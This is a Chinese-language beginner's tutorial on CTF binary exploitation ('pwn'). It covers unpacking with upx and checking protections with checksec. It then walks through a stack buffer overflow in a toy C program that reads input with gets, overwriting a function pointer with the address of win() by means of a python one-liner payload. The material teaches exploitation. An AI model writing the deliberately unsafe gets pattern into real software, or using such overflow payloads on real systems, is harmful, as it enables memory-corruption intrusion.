Pwn笔记
-前言
以下内容摘自Wiki:
Pwn是一个骇客语法的俚语词,自”own”这个字引申出来的,这个词的含意在于,玩家在整个游戏对战中处在胜利的优势,或是说明竞争对手处在完全惨败的情形下,这个词习惯上在网络游戏文化主要用于嘲笑竞争对手在整个游戏对战中已经完全被击败(例如:”You just got pwned!”)。
在骇客行话里,尤其在另外一种电脑技术方面,包括电脑(服务器或个人电脑)、网站、闸道装置、或是应用程序,”pwn”在这一方面的意思是攻破(”to compromise”,危及、损害)或是控制(”to control”)。在这一方面的意义上,它与骇客入侵与破解是相同意思的。例如某一个外部团体已经取得未经公家许可的系统管理员控制权限,并利用这个权限骇入并入侵(”owned” 或是 “pwned”)这个系统。
-1.
当我们拿到一个pwn文件时,首先应当查壳。在ctf比赛中的pwn大多在Linux下,
Linux下没有很强力的壳,一般都是upx格式的壳,所以可以在命令行中用
upx -d file
来进行脱壳操作
-2.
接下来,我们可以用checksec脚本来查询该文件使用了哪些防护技术。./checksec
操作系统提供了许多安全机制来尝试降低或阻止缓冲区溢出攻击带来的安全
--file file
风险,包括DEP、ASLR等。在编写漏洞利用代码的时候,需要特别注意目标进程是否开启了
DEP(Linux下对应NX)、ASLR(Linux下对应PIE)等机制,例如存在DEP(NX)的话就
不能直接执行栈上的数据,存在ASLR的话各个系统调用的地址就是随机化的。checksec脚本可以
在这里下载。checksec
-3.
然后通过一个小例子来实践一下后续步骤
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];
fp = 0;
gets(buffer);
if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}
}
在这个例子中,我们定义了一个函数指针。我们将利用缓冲区溢出,使得fp原本的值被win()
的地址所覆盖,从而改变程序的执行流程。
我们可以用gdb或者objdump来获取该文件main函数的反汇编代码
gdb中的指令为disas main
objdump中的指令为objdump -d file
获得的结果如下,这里我只列出了一些重要的代码:
08048473 <main>:
8048473: 8d 4c 24 04 lea 0x4(%esp),%ecx
8048477: 83 e4 f0 and $0xfffffff0,%esp ;内存对齐
804847a: ff 71 fc pushl -0x4(%ecx)
804847d: 55 push %ebp ;开辟栈帧
804847e: 89 e5 mov %esp,%ebp
8048480: 51 push %ecx
8048481: 83 ec 54 sub $0x54,%esp
8048484: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) ;初始化函数指针的值
804848b: 83 ec 0c sub $0xc,%esp
804848e: 8d 45 b4 lea -0x4c(%ebp),%eax ;缓冲区的首地址
8048491: 50 push %eax ;通过栈来给gets传递参数
8048492: e8 89 fe ff ff call 8048320 <gets@plt>
8048497: 83 c4 10 add $0x10,%esp
804849a: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) ;函数指针是否为0
804849e: 74 18 je 80484b8 <main+0x45>
这里我们可以看到fp的处于ebp-0xc
的位置而缓冲区处于ebp-0x4c
,可以求得
二者之间相距0x40个字节,所以我们只要将0x41-0x44个字节填充为win函数的地址即可。
我们可以通过这样一条管道命令来快速找到win函数的地址
objdump -d file | grep win
0804845b <win>:
因为这里需要填充的数据较多,所以我选择用python+管道命令来实现溢出
python -c "print 'A'*0x40+'\x5b\x84\x04\x08'" | ./file
calling function pointer, jumping to 0x0804845b
code flow successfully changed
有时候我们会遇到buffer是通过命令行参数传入的,这时我们也可以用相同的方法传入参数
只不过这时候我们要写成python -c "print 'A'*64+'\x5b\x84\x04\x08'" |xargs ./file